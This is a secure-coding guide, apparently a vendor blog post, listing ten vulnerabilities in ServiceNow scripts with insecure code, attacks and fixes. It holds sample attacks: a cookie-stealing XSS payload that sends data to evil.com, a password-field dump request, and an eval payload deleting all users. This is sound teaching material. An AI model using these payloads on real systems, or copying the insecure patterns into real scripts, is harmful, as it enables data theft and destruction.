SecurityReading time: 12 minutes

10 Common Security Vulnerabilities in ServiceNow Scripts (And How to Fix Them)

Identify and fix critical security flaws before they reach production.

The Hidden Risk in Your ServiceNow Instance

Every ServiceNow developer writes scripts—Business Rules, Client Scripts, Script Includes, and more. But a single security flaw can expose sensitive data, bypass authorization controls, or give attackers a foothold in your environment.

The challenge? Security vulnerabilities in ServiceNow scripts often look like normal code. They work perfectly in testing but create critical exposures in production.

This guide covers the 10 most dangerous vulnerabilities we see in ServiceNow scripts, with real examples of insecure code and how to fix each one. We'll also show how snowcoder's security validation catches these issues before they reach production.

How snowcoder Catches Security Issues

Before diving into the vulnerabilities, it's worth understanding how snowcoder protects your code.

Every script generated or analyzed by snowcoder passes through a 4-stage validation pipeline:

StageFocusWeight
SyntaxJavaScript parsing and structure15%
ServiceNowPlatform-specific best practices25%
SecurityVulnerability detection35%
PerformanceQuery optimization, efficiency25%

Security carries the highest weight because a fast, functional script with a security flaw is worse than no script at all.

CRITICAL

1. Query Injection via String Concatenation

The Vulnerability

Concatenating user input into GlideRecord queries allows attackers to manipulate query logic.

Insecure Code:

var gr = new GlideRecord('incident');
var userInput = this.getParameter('sysparm_query');
gr.addEncodedQuery('category=' + userInput);  // DANGER
gr.query();

The Attack:

An attacker submits: hardware^ORDERBYDESCsys_created_on^priority=1

Instead of filtering by category, the query now returns high-priority incidents sorted by creation date—data the user shouldn't see.

SEC004: Potential injection vulnerability in GlideRecord query
Severity: Error | Line: 3
Suggestion: Use addQuery() with separate parameters

The Fix:

var gr = new GlideRecord('incident');
var userInput = this.getParameter('sysparm_query');

// Validate input against allowed values
var allowedCategories = ['hardware', 'software', 'network'];
if (allowedCategories.indexOf(userInput) === -1) {
    return 'Invalid category';
}

// Use parameterized query - no concatenation
gr.addQuery('category', userInput);
gr.query();
CRITICAL

2. Cross-Site Scripting (XSS) via innerHTML

The Vulnerability

Assigning user input directly to innerHTML allows script injection.

Insecure Code:

// Client Script
var comments = g_form.getValue('comments');
document.getElementById('preview').innerHTML = comments;  // DANGER

The Attack:

A user enters: <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">

When the page renders, the attacker's script runs and steals the user's session cookie.

SEC007: Direct innerHTML assignment - potential XSS vulnerability
Severity: Warning | Line: 3
Suggestion: Use textContent or createElement() methods

The Fix:

// Option 1: Use textContent (no HTML parsing)
var comments = g_form.getValue('comments');
document.getElementById('preview').textContent = comments;

// Option 2: Sanitize HTML before display
var comments = g_form.getValue('comments');
var sanitized = new GlideStringUtil().escapeHTML(comments);
document.getElementById('preview').innerHTML = sanitized;
CRITICAL

3. Missing ACL Checks Before Record Modifications

The Vulnerability

Modifying records without checking canWrite() bypasses ServiceNow's access control.

Insecure Code:

var gr = new GlideRecord('incident');
gr.addQuery('state', 1);
gr.query();

while (gr.next()) {
    gr.priority = 1;
    gr.update();  // No permission check!
}

The Problem: This script runs with elevated privileges, updating incidents even for users who shouldn't have write access to those records.

SEC013: update() called without ACL check
Severity: Warning
Suggestion: Add if (gr.canWrite()) check before update()

The Fix:

var gr = new GlideRecord('incident');
gr.addQuery('state', 1);
gr.query();

while (gr.next()) {
    // Check ACL before modifying
    if (!gr.canWrite()) {
        gs.warn('User lacks write access to: ' + gr.number);
        continue;
    }

    gr.priority = 1;
    gr.update();
}
CRITICAL

4. Hardcoded Credentials

The Vulnerability

Storing API keys, passwords, or tokens directly in scripts.

Insecure Code:

var apiKey = 'sk-live-abc123xyz789';  // DANGER
var password = 'ServiceNow2024!';     // DANGER

var request = new sn_ws.RESTMessageV2();
request.setRequestHeader('Authorization', 'Bearer ' + apiKey);
request.setBasicAuth('admin', password);

The Problem:

  • Anyone with script access sees credentials
  • Credentials leak through version control, backups, and logs
  • You can't rotate credentials without modifying code

SEC009: Potential hardcoded credentials detected
Severity: Error | Line: 1
Suggestion: Use System Properties or encrypted credentials storage

The Fix:

// Store credentials in System Properties
var apiKey = gs.getProperty('company.external.api_key');

// Or use Connection & Credential Aliases
var request = new sn_ws.RESTMessageV2('ExternalAPI', 'POST');
// Credentials automatically applied from the Credential record
request.execute();
HIGH

5. Client-Server API Mixing

The Vulnerability

Using server-side APIs (GlideRecord) in client scripts, or vice versa.

Insecure Code:

// Client Script - THIS DOESN'T WORK AS EXPECTED
function validateAssignment() {
    var assignee = g_form.getValue('assigned_to');  // Client API

    var gr = new GlideRecord('sys_user');  // Server API!
    gr.get(assignee);

    if (!gr.active) {
        g_form.addErrorMessage('User is inactive');
    }
}

The Problem:

  • GlideRecord doesn't exist on the client side
  • If it did, it would bypass ACLs
  • The code fails silently or unpredictably

SEC015: Client-side API (g_form) and server-side API (GlideRecord) mixed
Severity: Error
Suggestion: Use GlideAjax to call server-side Script Include from client scripts

The Fix:

// Client Script
function validateAssignment() {
    var assignee = g_form.getValue('assigned_to');

    var ga = new GlideAjax('UserValidation');
    ga.addParam('sysparm_name', 'isUserActive');
    ga.addParam('sysparm_user_id', assignee);
    ga.getXMLAnswer(function(response) {
        var result = JSON.parse(response);
        if (!result.active) {
            g_form.addErrorMessage('User is inactive');
        }
    });
}

// Script Include (runs on server)
var UserValidation = Class.create();
UserValidation.prototype = Object.extendsObject(AbstractAjaxProcessor, {
    isUserActive: function() {
        var userId = this.getParameter('sysparm_user_id');

        // Validate sys_id format
        if (!/^[a-f0-9]{32}$/i.test(userId)) {
            return JSON.stringify({error: 'Invalid user ID'});
        }

        var gr = new GlideRecord('sys_user');
        if (gr.get(userId)) {
            return JSON.stringify({active: gr.active.toString() === 'true'});
        }
        return JSON.stringify({active: false});
    },
    type: 'UserValidation'
});
HIGH

6. Unvalidated User Input

The Vulnerability

Using input from URL parameters, form fields, or AJAX calls without validation.

Insecure Code:

var tableName = this.getParameter('sysparm_table');
var fieldName = this.getParameter('sysparm_field');

var gr = new GlideRecord(tableName);  // User controls the table!
gr.query();

while (gr.next()) {
    gs.print(gr.getValue(fieldName));  // User controls the field!
}

The Attack:

An attacker submits sysparm_table=sys_user&sysparm_field=user_password

The script now dumps password hashes for all users.

The Fix:

var tableName = this.getParameter('sysparm_table');
var fieldName = this.getParameter('sysparm_field');

// Whitelist allowed tables
var allowedTables = ['incident', 'change_request', 'problem'];
if (allowedTables.indexOf(tableName) === -1) {
    return 'Invalid table';
}

// Whitelist allowed fields per table
var allowedFields = {
    'incident': ['number', 'short_description', 'state'],
    'change_request': ['number', 'short_description', 'state'],
    'problem': ['number', 'short_description', 'state']
};

if (allowedFields[tableName].indexOf(fieldName) === -1) {
    return 'Invalid field';
}

var gr = new GlideRecord(tableName);
gr.setLimit(100);  // Prevent full table dumps
gr.query();

while (gr.next()) {
    if (gr.canRead()) {  // Check ACL
        gs.print(gr.getValue(fieldName));
    }
}
HIGH

7. Bypassing Workflows with setWorkflow(false)

The Vulnerability

setWorkflow(false) skips all Business Rules, preventing approval workflows and audit logging.

Insecure Code:

var gr = new GlideRecord('change_request');
gr.get(changeId);

gr.state = 3;  // Closed
gr.setWorkflow(false);  // Skips approval workflow!
gr.update();

The Problem:

  • Change approvals are bypassed
  • Audit trails become incomplete
  • Compliance requirements are violated

The Fix:

var gr = new GlideRecord('change_request');
gr.get(changeId);

// Check that change has proper approvals
if (!hasRequiredApprovals(changeId)) {
    gs.error('Cannot close change without approvals');
    return;
}

// Let workflows run normally
gr.state = 3;
gr.update();  // Business Rules execute, audit trail preserved

function hasRequiredApprovals(changeId) {
    var approval = new GlideRecord('sysapproval_approver');
    approval.addQuery('document_id', changeId);
    approval.addQuery('state', 'approved');
    approval.query();
    return approval.getRowCount() >= 1;
}
HIGH

8. Invalid sys_id Format

The Vulnerability

Accepting user-supplied sys_ids without validating their format.

Insecure Code:

var recordId = this.getParameter('sysparm_record_id');

var gr = new GlideRecord('incident');
gr.get(recordId);  // No format validation

return gr.getValue('short_description');

The Attack: Malformed sys_ids can cause unexpected behavior. Attackers may inject query operators or explore error messages for information disclosure.

The Fix:

var recordId = this.getParameter('sysparm_record_id');

// Validate sys_id format: 32 hexadecimal characters
if (!/^[a-f0-9]{32}$/i.test(recordId)) {
    return JSON.stringify({error: 'Invalid record ID format'});
}

var gr = new GlideRecord('incident');
if (gr.get(recordId) && gr.canRead()) {
    return JSON.stringify({
        description: gr.short_description.toString()
    });
}

return JSON.stringify({error: 'Record not found'});
CRITICAL

9. Exposing Sensitive Data in Responses

The Vulnerability

Returning entire records or sensitive fields in API responses.

Insecure Code:

var userId = this.getParameter('sysparm_user');

var gr = new GlideRecord('sys_user');
if (gr.get(userId)) {
    return JSON.stringify(gr);  // Returns EVERYTHING
}

The Problem: This returns every field on the user record—including password hashes, SSN, salary, home address, and other sensitive data.

The Fix:

var userId = this.getParameter('sysparm_user');

// Validate format
if (!/^[a-f0-9]{32}$/i.test(userId)) {
    return JSON.stringify({error: 'Invalid user ID'});
}

var gr = new GlideRecord('sys_user');
if (gr.get(userId) && gr.canRead()) {
    // Whitelist only safe, necessary fields
    return JSON.stringify({
        name: gr.name.toString(),
        email: gr.email.toString(),
        department: gr.department.getDisplayValue(),
        title: gr.title.toString()
        // Never include: user_password, ssn, salary, etc.
    });
}

return JSON.stringify({error: 'User not found'});
CRITICAL

10. Dangerous Code Execution (eval, Function Constructor)

The Vulnerability

Using eval() or new Function() with user-controlled input.

Insecure Code:

var formula = this.getParameter('sysparm_formula');
var result = eval(formula);  // CRITICAL DANGER
return result.toString();

The Attack:

Attacker submits: gs.include('Sys_scripts'); new GlideRecord('sys_user').deleteMultiple();

This could delete all users from the system.

SEC001: Use of eval() detected - potential code injection vulnerability
Severity: Error
Suggestion: Avoid eval() entirely; use safer alternatives

The Fix:

var operation = this.getParameter('sysparm_operation');
var value1 = parseFloat(this.getParameter('sysparm_value1'));
var value2 = parseFloat(this.getParameter('sysparm_value2'));

// Validate inputs are numbers
if (isNaN(value1) || isNaN(value2)) {
    return JSON.stringify({error: 'Invalid numeric values'});
}

// Whitelist allowed operations
var result;
switch (operation) {
    case 'add':
        result = value1 + value2;
        break;
    case 'subtract':
        result = value1 - value2;
        break;
    case 'multiply':
        result = value1 * value2;
        break;
    case 'divide':
        if (value2 === 0) return JSON.stringify({error: 'Division by zero'});
        result = value1 / value2;
        break;
    default:
        return JSON.stringify({error: 'Invalid operation'});
}

return JSON.stringify({result: result});

A Complete Secure Script Example

Here's a Script Include that passes all of snowcoder's security checks:

var SecureIncidentAPI = Class.create();
SecureIncidentAPI.prototype = Object.extendsObject(AbstractAjaxProcessor, {

    getIncident: function() {
        // 1. Validate input format
        var incidentId = this.getParameter('sysparm_incident_id');
        if (!this._isValidSysId(incidentId)) {
            return this._error('Invalid incident ID format');
        }

        // 2. Check authorization
        if (!gs.hasRole('itil') && !gs.hasRole('admin')) {
            gs.warn('Unauthorized getIncident attempt by: ' + gs.getUserName());
            return this._error('Unauthorized');
        }

        // 3. Query safely (no string concatenation)
        var gr = new GlideRecord('incident');
        if (!gr.get(incidentId)) {
            return this._error('Incident not found');
        }

        // 4. Check ACL
        if (!gr.canRead()) {
            return this._error('Access denied');
        }

        // 5. Return only whitelisted fields
        return this._success({
            number: gr.number.toString(),
            short_description: gr.short_description.toString(),
            state: gr.state.getDisplayValue(),
            priority: gr.priority.getDisplayValue(),
            assigned_to: gr.assigned_to.getDisplayValue()
        });
    },

    // Helper: Validate sys_id format
    _isValidSysId: function(id) {
        return id && /^[a-f0-9]{32}$/i.test(id);
    },

    // Helper: Success response
    _success: function(data) {
        return JSON.stringify({status: 'success', data: data});
    },

    // Helper: Error response
    _error: function(message) {
        return JSON.stringify({status: 'error', message: message});
    },

    type: 'SecureIncidentAPI'
});

snowcoder Validation Result: Security Score 95/100

  • ✓ Input validation present
  • ✓ ACL checks implemented
  • ✓ No SQL injection vulnerabilities
  • ✓ No XSS vulnerabilities
  • ✓ No hardcoded credentials
  • ✓ Proper error handling
  • ✓ Data minimization (whitelist fields)

Quick Reference: Security Checklist

VulnerabilityDetectionPrevention
Query InjectionSEC003, SEC004, SEC005Use parameterized addQuery()
XSSSEC006, SEC007Use textContent, escape HTML
Missing ACLSEC010, SEC013Check canRead(), canWrite()
Hardcoded CredsSEC009Use System Properties
Client/Server MixSEC015Use GlideAjax
Unvalidated InputSEC011, SEC016Whitelist validation
setWorkflow(false)SEC014Avoid or document carefully
Invalid sys_idPattern checkRegex: ^[a-f0-9]{32}$
Data ExposureKnowledge baseWhitelist response fields
eval() / FunctionSEC001, SEC002Never use with user input

Let snowcoder Secure Your Code

Writing secure ServiceNow code is challenging. There are dozens of patterns to remember, edge cases to consider, and mistakes that are easy to make.

snowcoder's security validation catches these vulnerabilities automatically:

  1. During generation — Security checks run on every script snowcoder creates
  2. During review — Paste existing code to identify vulnerabilities
  3. With explanations — Each warning includes context and a fix

Security isn't an afterthought in snowcoder—it's weighted at 35% of the validation score, the highest of any category.

Ready to write more secure ServiceNow code?

Let snowcoder's security validation catch vulnerabilities before they reach production.

Try Now for Free

No credit card required.

Found a security pattern we missed? We're always improving our validation rules. Reach out to our team with suggestions.